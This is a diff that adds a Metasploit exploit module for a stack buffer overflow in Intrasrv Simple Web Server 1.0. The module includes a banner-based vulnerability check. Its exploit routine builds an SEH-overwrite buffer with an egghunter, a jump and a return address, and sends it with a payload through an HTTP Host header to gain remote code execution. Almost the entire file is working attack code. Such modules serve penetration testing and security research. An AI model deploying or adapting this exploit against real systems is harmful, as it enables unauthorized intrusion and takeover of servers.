|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + include Msf::Exploit::Egghunter |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "Intrasrv 1.0 Buffer Overflow", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a boundary condition error in Intrasrv Simple Web |
| 21 | + Server 1.0. The web interface does not validate the boundaries of an |
| 22 | + HTTP request string prior to copying the data to an insufficiently large |
| 23 | + buffer. Successful exploitation leads to arbitrary remote code execution |
| 24 | + in the context of the application. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'xis_one', # Discovery, PoC |
| 30 | + 'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['OSVDB', '94097'], |
| 35 | + ['EDB','18397'], |
| 36 | + ['BID','60229'] |
| 37 | + ], |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'Space' => 4660, |
| 41 | + 'StackAdjustment' => -3500, |
| 42 | + 'BadChars' => "\x00" |
| 43 | + }, |
| 44 | + 'DefaultOptions' => |
| 45 | + { |
| 46 | + 'ExitFunction' => "thread" |
| 47 | + }, |
| 48 | + 'Platform' => 'win', |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + ['v1.0 - XP / Win7', |
| 52 | + { |
| 53 | + 'Offset' => 1553, |
| 54 | + 'Ret'=>0x004097dd #p/p/r - intrasrv.exe |
| 55 | + } |
| 56 | + ] |
| 57 | + ], |
| 58 | + 'Privileged' => false, |
| 59 | + 'DisclosureDate' => "May 30 2013", |
| 60 | + 'DefaultTarget' => 0)) |
| 61 | + |
| 62 | + register_options( |
| 63 | + [ |
| 64 | + OptPort.new('RPORT', [true, 'The remote port', 80]) |
| 65 | + ], self.class) |
| 66 | + end |
| 67 | + |
| 68 | + def check |
| 69 | + begin |
| 70 | + connect |
| 71 | + rescue |
| 72 | + print_error("Could not connect to target!") |
| 73 | + return Exploit::CheckCode::Safe |
| 74 | + end |
| 75 | + sock.put("GET / HTTP/1.0\r\n\r\n") |
| 76 | + res = sock.get_once |
| 77 | + |
| 78 | + if res =~ /intrasrv 1.0/ |
| 79 | + return Exploit::CheckCode::Vulnerable |
| 80 | + else |
| 81 | + return Exploit::CheckCode::Safe |
| 82 | + end |
| 83 | + end |
| 84 | + |
| 85 | + def exploit |
| 86 | + # setup egghunter |
| 87 | + hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { |
| 88 | + :checksum=>true |
| 89 | + }) |
| 90 | + |
| 91 | + # setup buffer |
| 92 | + buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128 |
| 93 | + buf << hunter # egghunter |
| 94 | + buf << rand_text(target['Offset']-buf.length) # more junk to offset |
| 95 | + buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter |
| 96 | + buf << [target.ret].pack("V*") # seh |
| 97 | + |
| 98 | + # second last byte of payload/egg gets corrupted - pad 2 bytes |
| 99 | + # so we don't corrupt the actual payload |
| 100 | + egg << rand_text(2) |
| 101 | + |
| 102 | + print_status("Sending buffer...") |
| 103 | + # Payload location is an issue, so we're using the tcp mixin |
| 104 | + # instead of HttpClient here to maximize control over what's sent. |
| 105 | + # (i.e. no additional headers to mess with the stack) |
| 106 | + connect |
| 107 | + sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n") |
| 108 | + disconnect |
| 109 | + end |
| 110 | +end |
0 commit comments